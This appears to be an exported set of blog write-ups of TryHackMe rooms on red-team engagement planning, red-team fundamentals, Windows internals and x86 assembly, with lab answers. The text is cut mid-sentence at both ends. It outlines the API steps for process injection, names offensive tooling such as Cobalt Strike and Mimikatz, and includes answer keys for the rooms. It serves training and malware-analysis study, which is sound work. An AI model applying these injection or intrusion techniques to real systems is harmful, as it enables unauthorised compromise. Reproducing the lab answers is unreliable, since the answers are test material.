client objectives.\nQuestion 1: Once downloaded, read the sample document and answer the questions below.\nNo answer needed\nQuestion 2: How many explicit restrictions are specified?\n3\nQuestion 3: What is the first access type mentioned in the document?\nPhishing\nQuestion 4: Is the red team permitted to attack 192.168.1.0/24? (Y/N)\nN\nCampaign Planning NOTE: The RedTeam Guide Engagement checklist acts as a more generalized approach to planning a campaign and information needed. Campaign planning for red team engagements involves using information from client objectives and Rules of Engagement (RoE) to create detailed plans. Each plan type is adapted from military operational documents and serves different purposes in outlining what the red team will do:\nEngagement Plan\nAn overarching description of technical requirements Concept of Operations (CONOPS) Resource and personnel requirements Timelines Operations Plan\nExpands on the Engagement Plan with specific details Operators involved Known information Responsibilities Mission Plan\nProvides exact commands and execution times Commands to run Time objectives Responsible operator Remediation Plan\nOutlines post-campaign procedures Reporting processes Remediation consultation Question 1: Read the above and move on to engagement documentation.\nNo answer needed\nEngagement Documentation Engagement documentation extends campaign planning by officially recording ideas and thoughts. While some plans do not require formal documentation and can be as simple as an email, others are more detailed.\nTechnical overview of the campaign plans:\nEngagement Plan\nCONOPS (Concept of Operations): A non-technical overview explaining how the red team meets client objectives and targets them. Resource Plan: Includes timelines and requirements for personnel, hardware, and cloud resources needed for success. Operations Plan\nPersonnel Information: Details employee requirements. Stopping Conditions: Explains when and why the red team should halt operations during an engagement. RoE (Rules of Engagement): Optional, depending on specific needs. Technical Requirements: Outlines necessary knowledge for the red team\u0026rsquo;s success. Mission Plan\nCommand Playbooks: Exact commands and tools to run, including when, why, and how they should be executed. This is especially useful in larger teams with diverse skill levels. Execution Times: Specific times for beginning different stages of an engagement, which can include exact timings for tool execution. Responsibilities/Roles: Assigns tasks and roles to team members. Remediation Plan (optional)\nReport: Summarizes engagement details and presents findings. Remediation/Consultation: Outlines how clients will address identified issues, which can be included in the report or discussed in meetings. The key points are about structuring documentation to support campaign execution and post-engagement actions, balancing formality based on plan complexity.\nQuestion 1: Read the above and move on to the upcoming engagement specific tasks.\nNo answer needed\nConcept of Operations (CONOPS) The Concept of Operations (CONOPS) serves as a high-level overview within an engagement plan, akin to an executive summary.\nIt is designed to provide a clear and concise understanding of the engagement proceedings for both business or client reference purposes and to guide further campaign planning by the red team.\nKey elements of a CONOPS\nClient Name: Identifies the specific client or organization involved. Service Provider: Refers to the entity conducting the engagement. Timeframe: Specifies the duration during which the engagement takes place. General Objectives/Phases: Outlines the main objectives and stages of the engagement. Other Training Objectives (Exfiltration): Details secondary goals, such as exfiltration processes. High-Level Tools/Techniques Planned: Lists key tools or methodologies to be used during the engagement. Threat Group to Emulate: Identifies the specific threat group being emulated. The CONOPS should be written at a semi-technical level, ensuring it is accessible to readers with minimal technical expertise while still providing sufficient detail for the red team to extend their planning processes.\nThe document must be clear and concise, avoiding overly complex information that could hinder understanding for non-technical stakeholders.\nNOTE: The following describes a CONOPS example provided by the THM team.\nHolo Enterprises has hired TryHackMe as an external contractor to conduct a month-long network infrastructure assessment and security posture evaluation. The campaign will utilize an assumed breach model starting in Tier 3 infrastructure. Operators will progressively conduct reconnaissance and attempt to meet objectives to be determined. If defined goals are not met, the red cell will move and escalate privileges within the network laterally. Operators are also expected to execute and maintain persistence to sustain for a period of three weeks. A trusted agent is expected to intervene if the red cell is identified or burned by the blue cell throughout the entirety of the engagement. The last engagement day is reserved for cleanup, remediation, and consultation with the blue and white cell.\nThe customer has requested the following training objectives: assess the blue team\u0026rsquo;s ability to identify and defend against live intrusions and attacks, and identify the risk of an adversary within the internal network. The red cell will accomplish objectives by employing the use of Cobalt Strike as the primary red cell tool. The red cell is permitted to use other standard tooling only identifiable to the targeted threat.\nBased on customer security posture and maturity, the TTPs of the threat group FIN6 will be employed throughout the engagement.\nQuestion 1: Read the example CONOPS and answer the questions below.\nNo answer needed\nQuestion 2: Based on customer security posture and maturity, the TTP of the threat group: FIN6, will be employed throughout the engagement.\nNo answer needed\nQuestion 3: How long will the engagement last?\n1 Month\nQuestion 4: How long is the red cell expected to maintain persistence?\n3 Weeks\nQuestion 5: What is the primary tool used within the engagement?\nCobalt Strike\nResource Plan The Resource Plan is a document within the engagement plan that follows the Concept of Operations (CONOPS). It provides specific details related to dates, knowledge requirements, and resource needs, extending the high-level overview provided by the CONOPS.\nKey elements of the Resource Plan\nHeader: General heading for the document. Engagement Dates Reconnaissance Dates Initial Compromise Dates Post-Exploitation and Persistence Dates Miscellaneous Dates Knowledge Required (Optional) Reconnaissance Initial Compromise Post-Exploitation Resource Requirements Personnel Hardware Cloud Resources Miscellaneous Resources The Resource Plan should be clear, concise, and to the point, avoiding unnecessary details while ensuring all required information is efficiently communicated.\nBelow is an example Resource Plan provided by THM.\nFigure 1: Sample resource plan table showing engagement dates, knowledge requirements, and resource allocation\nQuestion 1: Navigate to the \u0026lsquo;View Site\u0026rsquo; button and read the provided resource plan. Once complete, answer the questions below.\nNo answer needed\nQuestion 2: When will the engagement end? (MM/DD/YYYY)\n11/14/2021\nQuestion 3: What is the budget allocated to the red team for AWS cloud costs?\n$1000\nQuestion 4: Are there any miscellaneous requirements for the engagement? (Y/N)\nN\nOperations Plan The Operations Plan is a detailed document within the engagement plan that expands upon the Concept of Operations (CONOPS) and Resource Plan by providing specific details about the actions and activities during the engagement. It may optionally include the Rules of Engagement (ROE) and stopping conditions.\nKey elements of the Operations Plan\nHalting/Stopping Conditions: Procedures for ceasing operations if necessary. Required/Assigned Personnel: Overview of personnel involved in the engagement. Specific TTPs and Attacks: Detailed list of tactics, techniques, and procedures planned. Communications Plan: Summary of communication methods, like vectr.io, email, or Slack. Rules of Engagement (Optional): Guidelines for conduct during the engagement. The Operations Plan should be clear, detailed, and structured to ensure all necessary information is efficiently communicated without unnecessary verbosity.\nBelow is an example Operations Plan provided by THM.\nFigure 2: Sample operations plan detailing halting conditions, personnel assignments, and communication protocols\nQuestion 1: Navigate to the View Site button and read the provided operations plan. Once complete, answer the questions below.\nNo answer needed\nQuestion 2: What phishing method will be employed during the initial access phase?\nSpearphishing\nQuestion 3: What site will be utilized for communication between the client and red cell?\nvectr.io\nQuestion 4: If there is a system outage, the red cell will continue with the engagement. (T/F)\nF\nMission Plan The Mission Plan is a detailed, cell-specific document within the engagement plan that outlines the exact actions operators must complete. It draws on information from previous plans and assigns specific tasks to operators.\nKey elements of the Mission Plan\nObjectives: The primary goals of the mission. Operators: Overview of personnel involved in executing the mission. Exploits/Attacks: Specific tactics, techniques, and procedures planned. Targets: Details about users, machines, or objectives being targeted. Execution Plan Variations: Alternative methods for conducting the mission. The Mission Plan is intended for internal use and can vary in structure and detail depending on the team\u0026rsquo;s preferences.\nIt focuses on clarity and specificity without unnecessary complexity, ensuring that operators have a clear understanding of their roles and actions during the engagement.\nBelow is an example Mission Plan provided by THM.\nFigure 3: Sample mission plan outlining specific objectives, operators, and target details\nQuestion 1: Navigate to the View Site button and read the provided mission plan. Once complete, answer the questions below.\nNo answer needed\nQuestion 2: When will the phishing campaign end? (mm/dd/yyyy)\n10/23/2021\nQuestion 3: Is the red team permitted to attack 10.10.6.78? (Y/N)\nN\nQuestion 4: When a stopping condition is encountered, you should continue working and determine the solution yourself without a team lead. (T/F)\nF\nConclusion Internal documents and unique team methodologies are essential for red team operations. The framework guides without being a manual; clear planning and documentation are crucial for meeting client objectives.\nQuestion 1: Read the above and continue learning!\nNo answer needed\n","permalink":"https://onebee.blog/blog/thm/red-teaming/red-team-fundamentals/red-team-engagements/","summary":"THM | Red Teaming | Red Team Fundamentals| Red Team Engagements","title":"Red Team Engagements"},{"content":"CHALLENGE INFORMATION\nPlatform: TryHackMe\nPath: Red Teaming\nModule: Red Team Fundamentals\nRoom: Red Team Fundamentals DESCRIPTION:\nLearn about the basics of a red engagement, the main components and stakeholders involved, and how red teaming differs from other cyber security engagements.\nIntroduction In the ever-evolving landscape of cybersecurity, conventional methods like vulnerability assessments and penetration tests are essential but may fall short in preparing for real-world cyberattacks. This room highlights the need for more specialized approaches, such as red team engagements, which simulate attacks to help organizations enhance their response strategies.\nRed teaming involves creating a controlled environment where a simulated attack is conducted to test an organization\u0026rsquo;s resilience and readiness. This process helps identify gaps in defense mechanisms and improves the ability to respond to actual cyber threats.\nQuestion 1: Click to continue to the next task\nNo answer needed\nVulnerability Assessment and Penetration Tests Limitations The evolution of cybersecurity assessments includes three primary methods:\nVulnerability Assessments\nThese are the most basic form of security assessment, focusing on identifying vulnerabilities in individual systems across a network. Automated tools and less technical expertise are often used to maximize efficiency.\nPenetration Tests\nBuilding on vulnerability assessments, penetration tests expand by exploiting identified vulnerabilities and assessing potential impacts on the network as a whole. This process allows for understanding how an attacker might move within the system and pivot between hosts, enhancing insights into potential security weaknesses.\nRed Team Engagements\nAddressing limitations in conventional methods, red team engagements simulate advanced persistent threats (APTs) to assess organizational preparedness against real-world attacks. These simulations are often more realistic than penetration tests, as they focus on undetected access and prolonged persistence, mimicking the actions of sophisticated attackers.\nThese assessments collectively aim to enhance network security by identifying vulnerabilities, understanding potential exploit impacts, and preparing for more advanced threat scenarios.\nQuestions \u0026 Answers Question 1: Would vulnerability assessments prepare us to detect a real attacker on our networks? (Yay/Nay)\nNay\nQuestion 2: During a penetration test, are you concerned about being detected by the client? (Yay/Nay)\nNay\nQuestion 3: Highly organized groups of skilled attackers are nowadays referred to as \u0026hellip;\nAdvanced Persistent Threats\nRed Team Engagements Red Team Engagements are specialized cybersecurity exercises designed to enhance an organization\u0026rsquo;s ability to detect and respond to real-world cyber threats.\nThese engagements complement traditional penetration tests by focusing not only on preventing attacks but also on improving detection and response capabilities.\nPurpose of Red Teams\nRed teams simulate the behavior of sophisticated threat actors to test how effectively an organization can identify and counter these threats. This mirrors military exercises where a red team assesses the reaction capabilities of a blue team, aiding in the improvement of security controls.\nGoals\nGoals are clearly defined objectives, often referred to as crown jewels or flags, such as compromising specific systems or stealing sensitive information. The blue team is unaware of these goals during the exercise to avoid analysis biases.\nStealth and Evasion\nRed teams operate undetected, evading security mechanisms like firewalls and antivirus software, focusing on minimal interaction with network hosts to avoid detection.\nMultiple Attack Surfaces\nRed team engagements extend beyond traditional penetration tests by exploring:\nTechnical Infrastructure: Discovering vulnerabilities while emphasizing stealth. Social Engineering: Manipulating individuals through deception. Physical Intrusion: Exploiting weaknesses in physical security measures. Conducting Exercises\nEngagements can be conducted in various ways, such as:\nFull Engagement: simulating a complete attack workflow Assumed Breach: starting from an existing compromise Tabletop Exercises: theoretical scenario evaluations Objective\nThe primary goal is to enhance the organization\u0026rsquo;s readiness by providing insights into improving detection and response strategies, rather than defeating the blue team.\nIn essence, red team engagements provide a realistic training environment for defenders, enabling them to better prepare against real-world cyber threats.\nQuestions \u0026 Answers Question 1: The goals of a red team engagement will often be referred to as flags or\u0026hellip;\ncrown jewels\nQuestion 2: During a red team engagement, common methods used by attackers are emulated against the target. Such methods are usually called TTPs. What does TTP stand for?\nTactics, Techniques, and Procedures\nQuestion 3: The main objective of a red team engagement is to detect as many vulnerabilities in as many hosts as possible (Yay/Nay)\nNay\nTeams and Functions of an Engagement Note: Make sure to check out the Red Team Guide website; it is a fantastic resource.\nA red team engagement is organized into three main cells, each with distinct roles contributing to the success of the exercise:\nRed Cell: The offensive component simulates attacks to challenge and test the defensive capabilities of the blue cell. Blue Cell: Consists of defenders, internal staff, and management who protect the network, effectively countering the red cell\u0026rsquo;s attempts. White Cell: Acts as a referee, controlling the engagement environment, ensuring adherence to rules of engagement (ROE), coordinating activities between red and blue cells, and monitoring for bias or unfair practices. Hierarchy Within the Red Team:\nRed Team Lead: Oversees the entire engagement, delegating tasks to the Assistant Lead and operators. They plan and organize the operations, ensuring alignment with strategic goals. Red Team Assistant Lead: Assists the Lead by overseeing operations and can contribute to writing engagement plans and documentation. They support in managing team members\u0026rsquo; assignments. Red Team Operator: Executes specific tasks assigned by the Lead and Assistant Lead, interpreting and analyzing engagement plans as needed. Each organization may structure its red team according to specific needs, adapting roles and responsibilities to suit its objectives and organizational structure.\nQuestion 1: What cell is responsible for the offensive operations of an engagement?\nRed Cell\nQuestion 2: What cell is the trusted agent considered part of?\nWhite Cell\nEngagement Structure QUOTE: Below is a small list of standard cyber kill chains.\nLockheed Martin Cyber Kill Chain Unified Kill Chain Varonis Cyber Kill Chain Active Directory Attack Cycle MITRE ATT\u0026amp;CK Framework The Lockheed Martin Cyber Kill Chain is a widely used framework for structuring and understanding cyberattacks. It serves as a standardized model, particularly useful in adversary emulation by red teams, to simulate what a real adversary might do during an engagement.\nComponents of the Cyber Kill Chain\nReconnaissance: Gathering information about the target, such as through emails or open-source intelligence (OSINT).\nWeaponization: Combining the objective with an exploit to create a deliverable payload, like a malicious backdoor or office document.\nDelivery: The method used to distribute the payload, such as via email, web, or USB.\nExploitation: Exploiting vulnerabilities in the target\u0026rsquo;s system, using techniques like EternalBlue or Zero-Logon.\nInstallation: Installing malware or tools on the compromised system, utilizing software like Mimikatz or Rubeus.\nCommand \u0026amp; Control: Establishing communication with compromised assets from a remote central controller, often through tools like Empire or Cobalt Strike.\nActions on Objectives: Achieving specific objectives such as ransomware deployment (e.g., Conti, LockBit 2.0).\nThis framework provides a structured approach for both red and blue teams to analyze and mitigate cyberattacks, offering clarity and organization in understanding the progression of an attack.\nQuestion 1: If an adversary deployed Mimikatz on a target machine, where would they be placed in the Lockheed Martin cyber kill chain?\nInstallation\nQuestion 2: What technique\u0026rsquo;s purpose is to exploit the target\u0026rsquo;s system to execute code?\nExploitation\nOverview of a Red Team Engagement Question 1: Click the View Site button and follow the example engagement to get the flag\n\u0026lt;redacted-flag\u0026gt;\nThe Cyber Kill Chain framework effectively maps to the exercise, outlining a structured process, but the first step is Planning the Engagement.\nThen we continue with the cyber kill chain.\nStep-1 | Reconnaissance: Gathering intelligence on the target, setting the foundation for subsequent actions.\nStep-2 | Weaponization: Combining the objective with an exploit, which in this case involves sending a phishing email with a malicious attachment.\nand\nStep-3 | Delivery: Sending out the phishing email to target the user, leading to the malicious payload being received.\nStep-4 | Exploitation: Using local exploits on BOB-PC (Bob\u0026rsquo;s computer) to elevate privileges and access restricted areas.\nand\nStep-5 | Installation: Installing tools on compromised hosts once access is gained, such as dumping password hashes.\nStep-6 | Command \u0026amp; Control: Establishing a connection to the target via dumped credentials, completing the lateral movement phase.\nand\nStep-7 | Actions on Objectives: Achieving the final objective, which in this case is establishing communication and control over the target.\nLastly, we finish with the Reporting and Analysis phase of the exercise and retrieve the provided flag.\nConclusion Question 1: Read the above and continue learning!\nNo answer needed\n","permalink":"https://onebee.blog/blog/thm/red-teaming/red-team-fundamentals/red-team-fundamentals/","summary":"THM | Red Teaming | Red Team Fundamentals| Red Team Fundamentals","title":"Red Team Fundamentals"},{"content":"CHALLENGE INFORMATION\nPlatform: TryHackMe\nModule: Malware Analysis\nRoom: Windows Internals DESCRIPTION:\nLearn and understand the fundamentals of how Windows operates at its core.\nLearning Objectives\nUnderstand and interact with Windows processes and their underlying technologies. Learn about core file formats and how they are used. Interact with Windows internals and understand how the Windows kernel operates. Introduction The main focus is on empowering red teams (cybersecurity professionals who simulate attacks) to understand and exploit Windows internals for various purposes, such as evasion and exploitation when crafting offensive tools or exploits.\nThis knowledge is crucial in a corporate setting where Windows machines are prevalent.\nRDP Access\nMachine IP: \u0026lt;targetbox-ip\u0026gt; Username: THM-Attacker Password: Tryhackme! Question 1: Start the provided machine and move on to the next tasks.\nNo answer needed\nProcesses A process in Windows refers to the execution of an application, which can contain one or more threads of execution. A process comprises various components:\na private virtual address space; executable code and program data; open handles to system objects; a security context; a unique process identifier (process ID); environment variables; a priority class; minimum and maximum working set sizes; and at least one thread of execution. Processes are created when an application runs and are essential for Windows functionality.\nAttackers can target processes to evade detection and hide malware by using techniques such as Process Injection, Hollowing, or Masquerading.\nA process also has lower-level components that reside in the virtual address space: code, global variables, heap memory (process heap), resources (open files), the environment block, and its threads.\nFigure 1: Process memory layout showing virtual address space components\nThese components can be observed in detail using utilities such as Process Hacker 2, Process Explorer, or Procmon, which display essential process details such as name, PID, status, and user name.\nOverall, processes are a fundamental concept in Windows that play a crucial role in the operating system\u0026rsquo;s functionality and security.\nQuestions \u0026 Answers First, we launch Procmon by opening the ProcessMonitor folder on our Desktop\nFigure 2: ProcessMonitor folder containing the Procmon executable\nand then run the Procmon executable.\nFigure 3: Process Monitor application launching\nMake sure to agree to the terms to accept the provided EULA.\nFigure 4: Accepting the license agreement terms\nFurthermore, ensure that you provide all necessary permissions for the program to run.\nFigure 5: Accepting the User Account Control prompt\nContinue by opening the log file. Click File \u0026gt; Open\u0026hellip;,\nFigure 6: Opening the File menu to access the log file\nand then select the Logfile file located in the ProcessMonitor folder on our Desktop.\nFigure 7: Selecting the Logfile.PML capture file\nQuestion 1: Open the provided file: Logfile.PML in Procmon and answer the questions below.\nNo answer needed\nFilter by Process Name for notepad.exe to answer the following questions.\nFirst, we select Filter \u0026gt; Filter,\nFigure 8: Accessing the Filter menu\nthen select Process Name as the filter criterion and specify \u0026rsquo;notepad.exe\u0026rsquo; as our target.\nFigure 9: Configuring the filter for notepad.exe\nLastly, we ensure our filter is active by adding the item.\nFigure 10: Adding the notepad.exe filter rule\nTo answer the questions below, we check the first event\u0026rsquo;s properties by selecting the entry and clicking the lightning bolt symbol, or by right-clicking and selecting its properties.\nFigure 11: Accessing event properties\nWe find all the answers by selecting the Process view.\nFigure 12: Process tab displaying process ID, parent PID, and integrity level\nQuestion 2: What is the process ID of notepad.exe?\n5984\nQuestion 3: What is the parent process ID of the previous process?\n3412\nQuestion 4: What is the integrity level of the process?\nHigh\nThreads A thread is an executable unit within a process that is scheduled based on device factors such as CPU and memory specifications, priority, and logical factors. Threads are essentially controllers of process execution.\nCharacteristics shared with the parent process include code, global variables, and resources. Unique values and data specific to each thread include:\nStack: stores data relevant to the thread (exceptions, procedure calls, and so on); Thread Local Storage: allocates storage for a unique data environment; Stack Argument: a unique value assigned to each thread; and Context Structure: holds machine register values maintained by the kernel. Threads are a critical component of processes and can be targeted by attackers for malicious purposes, such as code execution or chaining with other API calls.\nQuestions \u0026 Answers Since we have Logfile.PML already open in Procmon, we continue where we left off in our previous task.\nQuestion 1: Open the provided file: Logfile.PML in Procmon and answer the questions below.\nNo answer needed\nFor the next two questions, we first search for the first event where the Operation field matches \u0026lsquo;Thread Create\u0026rsquo; to identify threads created by notepad.exe.\nSince the events are ordered chronologically, the first matching event is the one we seek.\nFigure 13: Locating the Thread Create operation for notepad.exe\nQuestion 2: What is the thread ID of the first thread created by notepad.exe?\n5908\nBy opening its properties, we can find the answers to both questions.\nFigure 14: Thread properties displaying thread ID and stack argument\nQuestion 3: What is the stack argument of the previous thread?\n6584\nVirtual Memory Virtual memory allows different processes to use memory as if it were physical memory without the risk of collisions or conflicts between applications.\nEach process has its own private virtual address space, managed by the memory manager. The memory manager translates virtual addresses to physical addresses and can transfer or page virtual memory to disk when an application uses more virtual memory than physical memory allocated.\nFigure 15: Virtual memory architecture showing address translation\nOn a 32-bit x86 system, the maximum virtual address space is 4 GB, with the lower half (0x00000000–0x7FFFFFFF) allocated to processes and the upper half (0x80000000–0xFFFFFFFF) allocated to OS memory utilization.\nOn a 64-bit modern system, the maximum virtual address space is 256 TB, with a similar allocation layout.\nFigure 16: Virtual memory allocation layout for 32-bit and 64-bit systems\nQuestions \u0026 Answers Question 1: Read the above and answer the questions below.\nNo answer needed\nQuestion 2: What is the total theoretical maximum virtual address space of a 32-bit x86 system?\n4 GB\nQuestion 3: What default setting flag can be used to reallocate user process address space?\nincreaseuserva\nQuestion 4: Open the provided file: Logfile.PML in Procmon and answer the questions below.\nNo answer needed\nQuestion 5: What is the base address of notepad.exe?\n0x7ff652ec0000\nSince we are looking for the base address of notepad.exe, we search for the event where the binary was loaded.\nNote the Operation field, which shows \u0026lsquo;Load Image\u0026rsquo;, and the full path for our executable. We can find the Image Base either under the event\u0026rsquo;s Detail field or by opening its properties.\nFigure 17: Locating the Load Image operation to identify the base address\nDynamic Link Libraries Dynamic Link Libraries (DLLs) are libraries that contain code and data used by multiple programs simultaneously. They promote modularization, code reuse, efficient memory usage, and reduced disk space, enabling Windows applications to load faster, run faster, and consume less disk space.\nDLLs can be targeted by attackers to control aspects of execution or functionality:\nDLL Hijacking (T1574.001) DLL Side-Loading (T1574.002) DLL Injection (T1055.001) DLLs are created like any other project or application, requiring slight syntax modification. They can be loaded into an application using either load-time dynamic linking or run-time dynamic linking:\nLoad-time dynamic linking involves explicit calls to DLL functions from the application, requiring a header file and import library. Run-time dynamic linking involves loading the DLL at run time using LoadLibrary or LoadLibraryEx, then using GetProcAddress to identify and call the exported DLL function. Malicious code often uses run-time dynamic linking because it allows for easier transfer of files between memory regions.\nQuestions \u0026 Answers Question 1: Open the provided file: Logfile.PML in Procmon and answer the questions below.\nNo answer needed\nGiven the previous tasks, we have already completed this step. For the next two questions, we could filter by Operation, specify \u0026lsquo;Load Image\u0026rsquo; as our target, and then search for \u0026rsquo;ntdll.dll\u0026rsquo;. Alternatively, we can simply locate it as the fourth event associated with notepad.exe.\nOnce we have located the correct event \u0026ndash; where the Operation field shows \u0026lsquo;Load Image\u0026rsquo; and the Path field contains \u0026rsquo;ntdll.dll\u0026rsquo; \u0026ndash; examine the event\u0026rsquo;s Detail field.\nFigure 18: Examining the Load Image operation for ntdll.dll\nQuestion 2: What is the base address of ntdll.dll loaded from notepad.exe?\n0x7ffd0be20000\nQuestion 3: What is the size of ntdll.dll loaded from notepad.exe?\n0x1ec000\nQuestion 4: How many DLLs were loaded by notepad.exe?\n51\nTwo filters are necessary to obtain the correct answer. First, we filter to include only events where something was loaded by selecting Operation with \u0026lsquo;Load Image\u0026rsquo;.\nFigure 19: Filtering for Load Image operations\nSince we are interested only in loads where a DLL was loaded, we add a second filter specifying that the Path must contain \u0026lsquo;.dll\u0026rsquo;.\nFigure 20: Adding the path filter for DLL files\nOnce complete, the correct answer appears in the bottom-left corner of the window.\nFigure 21: Total count of DLLs loaded by notepad.exe\nPortable Executable Format The PE (Portable Executable) format defines the information about the executable and stored data, as well as the structure of how data components are stored.\nFigure 22: PE file format structure overview\nPE Data Components:\nDOS Header: defines the type of file (MZ indicating .exe) DOS Stub: a program run by default at the beginning of a file that prints a compatibility message (\u0026ldquo;This program cannot be run in DOS mode\u0026rdquo;) PE File Header: defines the format of the file; contains the signature, image file header, and other information headers Image Optional Header: part of the PE File Header Data Directories: point to the image data directory structure Section Table: defines the available sections and information in the image Sections:\n.text (executable code and entry point): contains the machine code executed by the CPU .data (initialized data): stores initialized variables and strings used by the program .rdata or .idata (imports and DLLs): lists the Windows API functions and DLLs imported by the executable .reloc (relocation information): provides information about addresses requiring adjustment when relocating the executable in memory .rsrc (application resources): contains application-specific data such as images, icons, and other resources .debug (debug information): stores debugging information used by debuggers Note: The following image (Portable Executable File Format) is part of a comprehensive guide titled A Comprehensive Guide To PE Structure, The Layman\u0026rsquo;s Way and belongs to its respective authors.\nFigure 23: PE format structure from external reference\nQuestions \u0026 Answers Question 1: Read the above and answer the questions below.\nNo answer needed\nQuestion 2: What PE component prints the message \u0026lsquo;This program cannot be run in DOS mode\u0026rsquo;?\nDOS Stub\nQuestion 3: Open notepad.exe in Detect It Easy and answer the questions below.\nNo answer needed\nWe begin by opening the die_win64_portable_3.03 folder on our Desktop and running the Detect It Easy (DIE) application.\nFigure 24: Opening the Detect It Easy portable folder\nWe proceed by opening notepad.exe. First, click the ellipsis button to open a file, then select our executable at C:\\Windows\\System32\\notepad.exe.\nFigure 25: Selecting the notepad.exe executable in DIE\nIf everything was done correctly, we find the answer for the next question immediately after DIE finishes loading notepad.exe.\nFigure 26: Entry point address displayed in DIE\nQuestion 4: What is the entry point reported by DiE?\n000000014001acd0\nClick PE and select IMAGE_NT_HEADERS \u0026gt; IMAGE_FILE_HEADER to find the number of sections.\nFigure 27: Locating the NumberOfSections value in the PE header\nQuestion 5: What is the value of NumberOfSections?\n0006\nStill within PE, select Sections to view the .data section and its properties.\nFigure 28: Virtual address of the .data section\nQuestion 6: What is the virtual address of .data?\n00024000\nFinally, still in PE, select Strings and locate the matching offset value.\nFigure 29: String table with offset 0001f99c highlighted\nQuestion 7: What string is located at the offset 0001f99c?\nMicrosoft.Notepad\nInteracting with Windows Internals Interacting with Windows internals can be simplified using Windows API calls. The Windows API provides native functionality to interact with the operating system.\nUser Mode and Kernel Mode\nMost Windows internals components require interacting with physical hardware and memory. An application by default cannot interact with the kernel or modify physical hardware and requires an interface. This problem is solved through the use of processor modes and access levels. The processor switches between these modes depending on access and requested mode.\nWindows processors operate in two modes: user mode and kernel mode. System calls or API calls facilitate switching between these modes (the \u0026ldquo;switching point\u0026rdquo;).\nUser Mode User mode, also known as userland, has the following characteristics:\nNo direct hardware access Creates a process in a private virtual address space Access only to owned memory locations Kernel Mode Kernel mode has the following characteristics:\nDirect hardware access Runs in a single shared virtual address space Access to the entire physical memory Figure 30: CPU mode switching between user and kernel mode\nWriting to Memory: Injecting Arbitrary Code into a Local Process\nStep-1: Allocate local process memory for our code using OpenProcess for the process handle and VirtualAllocEx to allocate memory. Step-2: Write or copy our code to allocated memory using WriteProcessMemory to write the payload. Step-3: Execute our code from local process memory using CreateRemoteThread to execute the payload from memory. Questions \u0026 Answers Question 1: Open a command prompt and execute the provided file: inject-poc.exe and answer the questions below.\nNo answer needed\nTo open a command prompt in the proper working directory, we first open the Process Injection POC directory on our Desktop. Then, we click the current path and overwrite it with \u0026lsquo;cmd\u0026rsquo;, which opens the command prompt in our desired destination.\nFigure 31: Opening command prompt in the Process Injection POC directory\nNow we select the PoC executable and run it. Pressing Tab twice in Command Prompt autocompletes the filename, and we run it by pressing Enter.\nFigure 32: Running the inject-poc.exe proof-of-concept\nFinally, we obtain the flag. Optionally, one could use the tools introduced in this room to analyze this exploit further and gather additional details.\nFigure 33: Flag displayed in message box\nQuestion 2: Enter the flag obtained from the executable below.\n\u0026lt;redacted-flag\u0026gt;\nConclusion Question 1: Read the above and continue learning!\nNo answer needed\n","permalink":"https://onebee.blog/blog/thm/malware-analysis/windows-internals/","summary":"THM | Malware Analysis | Windows Internals","title":"Windows Internals"},{"content":"CHALLENGE INFORMATION\nPlatform: TryHackMe\nModule: Malware Analysis\nRoom: x86 Assembly Crash Course DESCRIPTION:\nA crash course in x86 assembly to enable us in malware reverse engineering.\nLearning Objectives\nOpcodes and operands General assembly instructions Arithmetic and logical instructions Conditionals Branching instructions Introduction Learning basic assembly language is crucial for malware reverse engineering, as most malware samples are compiled binaries that cannot be directly viewed in their original C or C++ code.\nDecompiling these binaries using a decompiler or disassembler often removes important information, making assembly language the most reliable and human-readable code to analyze, particularly when trying to understand what a binary is doing.\nQuestion 1: I have completed the prerequisite room.\nNo answer needed\nOpcodes and Operands Computer code is typically stored as binary (ones and zeros) or hexadecimal format on disk, which humans cannot easily understand. Binary and hexadecimal code consists of instructions (opcodes) and data (operands), where opcodes tell the CPU what to do, and operands specify what is being acted upon.\nWhen disassembling a program, opcodes are translated into human-readable assembly language instructions, like mov eax, 0x5f. These instructions typically have three parts: an instruction (mov) and two operands (e.g., eax and 0x5f). There are three types of operands:\nImmediate Operands: fixed values like 0x5f. Registers: like eax, where data is stored. Memory Operands: referenced by square brackets, e.g., [eax], indicating a memory location to operate on. Please note that due to endianness, the operand 0x5f is written as 5f 00 00 00, which is actually 00 00 00 5f but in little-endian notation.\nUnderstanding these concepts helps reveal how code is executed at the CPU level and is essential for malware analysis and reverse engineering.\nQuestion 1: What are the hex codes that denote the assembly operations called?\nOpcodes\nQuestion 2: Which type of operand is denoted by square brackets?\nmemory operand\nGeneral Instructions Instructions that interact with registers and memory include mov and lea.\nMOV\nMoves data from one location (register, memory, or immediate operand) to another. Syntax: mov destination, source. The source operand remains unchanged. Memory-to-memory data movement is not allowed. Examples: Move fixed value to register: mov eax, 0x5f. Move value from one register to another: mov ebx, eax. Move value from memory location to register: mov eax, [0x5fc53e]. LEA\nLoads effective address (address of source into destination). Syntax: lea destination, source. Example: Calculate ebp+4 and move result to eax: lea eax, [ebp+4]. Other Instructions NOP\nNo operation (exchanges the value in eax with itself). Syntax: nop. Used for consuming CPU cycles or redirecting execution. SHIFT\nShifts each register bit to the adjacent bit and moves the overflowing bit into the carry flag or adds zeros. Shifting Right: shr destination, count Shifting Left: shl destination, count Example: Shift eax right by one bit to achieve the same result as dividing eax by two. Note: The carry flag tracks any bits that are shifted out of the register. ROTATE\nRotates bits back to the other end of the register instead of moving the overflowing bit into the carry flag or adding zeros. Rotate to the Right: ror destination, count Rotate to the Left: rol destination, count Example: Rotate al 10101010 right by one bit to get 01010101. Question 1: In \u0026lsquo;mov eax, ebx\u0026rsquo;, which register is the destination operand?\neax\nQuestion 2: What instruction performs no action?\nnop\nFlags In x86 assembly language, the CPU uses flags (bits) in the EFLAGS register to indicate the outcome of arithmetic and logical operations. The most common flags are listed below:\nCF (Carry Flag): Set when a carry-out or borrow is required from the most significant bit. PF (Parity Flag): Set if the least significant byte has an even number of one bits. AF (Auxiliary Flag): Set for binary-coded decimal (BCD) arithmetic, indicating a carry-out or borrow between bits three and four. ZF (Zero Flag): Set if the result is zero. SF (Sign Flag): Set if the result is negative (most significant bit equals one). OF (Overflow Flag): Set for signed arithmetic overflows (e.g., adding two positive numbers to get a negative result). DF (Direction Flag): Determines string processing direction (forward or backward). Note that if DF equals zero, the string is processed forward; if DF equals one, the string is processed backward. IF (Interrupt Enable Flag): Enables maskable hardware interrupts. These flags can be used in conditional jumps and are essential for implementing branching logic in assembly code.\nQuestion 1: Which flag will be set if the result of the operation is zero? (Answer in abbreviation)\nZF\nQuestion 2: Which flag will be set if the result of the operation is negative? (Answer in abbreviation)\nSF\nArithmetic Instructions ADD\nAddition Instruction: add Example: add destination, value SUB\nSubtraction Instruction: sub Example: sub destination, value 